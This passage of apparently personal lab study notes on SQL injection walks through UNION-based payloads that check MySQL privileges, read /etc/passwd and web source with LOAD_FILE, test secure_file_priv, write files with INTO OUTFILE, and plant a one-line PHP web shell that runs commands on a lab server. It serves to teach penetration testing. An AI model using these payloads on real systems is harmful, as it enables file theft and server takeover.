From here, we can add WHERE grantee="'root'@'localhost'" to only show our current user root privileges. Our payload would be:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

And we see all of the possible privileges given to our current user:

We see that the FILE privilege is listed for our user, enabling us to read files and potentially even write files. Thus, we can proceed with attempting to read files.

LOAD_FILE

Now that we know we have enough privileges to read local system files, let us do that using the LOAD_FILE() function. The LOAD_FILE() function can be used in MariaDB / MySQL to read data from files. The function takes in just one argument, which is the file name. The following query is an example of how to read the /etc/passwd file:

SELECT LOAD_FILE('/etc/passwd');

Note

We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

Similar to how we have been using a UNION injection, we can use the above query:

cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Another Example

We know that the current page is search.php. The default Apache webroot is /var/www/html. Let us try reading the source code of the file at /var/www/html/search.php.

cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

However, the page ends up rendering the HTML code within the browser. The HTML source can be viewed by hitting [Ctrl + U].

Writing Files

When it comes to writing files to the back-end server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a web shell on the remote server, hence getting code execution and taking over the server. This is why modern DBMSes disable file-write by default and require certain privileges for DBA’s to write files. Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files.

Write File Privileges

To be able to write files to the back-end server using a MySQL database, we require three things:

User with FILE privilege enabled
MySQL global secure_file_priv variable not enabled
Write access to the location we want to write to on the back-end server

We have already found that our current user has the FILE privilege necessary to write files. We must now check if the MySQL database has that privilege. This can be done by checking the secure_file_priv global variable.

secure_file_priv

The secure_file_priv variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand, NULL means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the FILE privilege. However, MySQL uses /var/lib/mysql-files as the default folder. This means that reading files through a MySQL injection isn’t possible with default settings. Even worse, some modern configurations default to NULL, meaning that we cannot read/write files anywhere within the system.

So, let’s see how we can find out the value of secure_file_priv. Within MySQL, we can use the following query to obtain the value of this variable:

SHOW VARIABLES LIKE 'secure_file_priv';

However, as we are using a UNION injection, we have to get the value using a SELECT statement. This shouldn’t be a problem, as all variables and most configurations’ are stored within the INFORMATION_SCHEMA database. MySQL global variables are stored in a table called global_variables, and as per the documentation, this table has two columns variable_name and variable_value.

We have to select these two columns from that table in the INFORMATION_SCHEMA database. There are hundreds of global variables in a MySQL configuration, and we don’t want to retrieve all of them. We will then filter the results to only show the secure_file_priv variable, using the WHERE clause we learned about in a previous section.

The final SQL query is the following:

SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

So, similar to other UNION injection queries, we can get the above query result with the following payload. Remember to add two more columns 1 & 4 as junk data to have a total of 4 columns’:

cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

And the result shows that the secure_file_priv value is empty, meaning that we can read/write files to any location.

SELECT INTO OUTFILE

Now that we have confirmed that our user should write files to the back-end server, let’s try to do that using the SELECT .. INTO OUTFILE statement. The SELECT INTO OUTFILE statement can be used to write data from select queries into files. This is usually used for exporting data from tables.

To use it, we can add INTO OUTFILE '...' after our query to export the results into the file we specified. The below example saves the output of the users table into the /tmp/credentials file:

SELECT * from users INTO OUTFILE '/tmp/credentials';

If we go to the back-end server and cat the file, we see that table’s content:

cat /tmp/credentials 
 
1       admin   392037dbba51f692776d6cefb6dd546d
2       newuser 9da2c9bcdf39d8610954e0e11ea8f45f

It is also possible to directly SELECT strings into files, allowing us to write arbitrary files to the back-end server.

SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

When we cat the file, we see that text:

cat /tmp/test.txt 
 
this is a test

ls -la /tmp/test.txt 
 
-rw-rw-rw- 1 mysql mysql 15 Jul  8 06:20 /tmp/test.txt

As we can see above, the test.txt file was created successfully and is owned by the mysql user.

Tip

Advanced file exports utilize the ‘FROM_BASE64(“base64_data”)’ function in order to be able to write long/advanced files, including binary data.

Writing Files through SQL Injection

Let’s try writing a text file to the webroot and verify if we have write permissions. The below query should write file written successfully! to the /var/www/html/proof.txt file, which we can then access on the web application:

select 'file written successfully!' into outfile '/var/www/html/proof.txt'

Note

To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache’s configuration found at /etc/apache2/apache2.conf, Nginx’s configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

The UNION injection payload would be as follows:

cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -

We don’t see any errors on the page, which indicates that the query succeeded. Checking for the file proof.txt in the webroot, we see that it indeed exists:

Note

We see the string we dumped along with ‘1’, ‘3’ before it, and ‘4’ after it. This is because the entire ‘UNION’ query result was written to the file. To make the output cleaner, we can use "" instead of numbers.

Writing a Web Shell

Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. We can write the following PHP webshell to be able to execute commands directly on the back-end server:

<?php system($_REQUEST[0]); ?>

We can reuse our previous UNION injection payload, and change the string to the above, and the file name to shell.php:

cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
 
# http://94.237.55.105:37860/shell.php?0=id

The output of the id command confirms that we have code execution and are running as the www-data user.

Explorer

SQLi Fundamentals 🐢

Types of Databases

Relational Databases

Non-relational Databases

Intro to MySQL

Structured Query Language (SQL)

Command Line

Creating a database

Tables

Table Properties

SQL Statements

INSERT

SELECT

DROP

ALTER

UPDATE

Query Results

Sorting Results

LIMIT results

WHERE Clause

LIKE Clause

SQL Operators

AND

OR

NOT

Symbol Operators

Multiple Operator Precedence

SQL Injections

SQLi Discovery

OR Injection

Using Comments

Union Clause

Even Columns

Un-even Columns

Union Injection

Detect the number of columns

Database Enumeration

MySQL Fingerprinting

INFORMATION_SCHEMA Database

SCHEMATA

Tables

Columns

Data

Reading Files

Privileges

DB User

User privileges

LOAD_FILE

Another Example

Writing Files

Write File Privileges

secure_file_priv

SELECT INTO OUTFILE

Writing Files through SQL Injection

Writing a Web Shell

Graph View

Table of Contents

Backlinks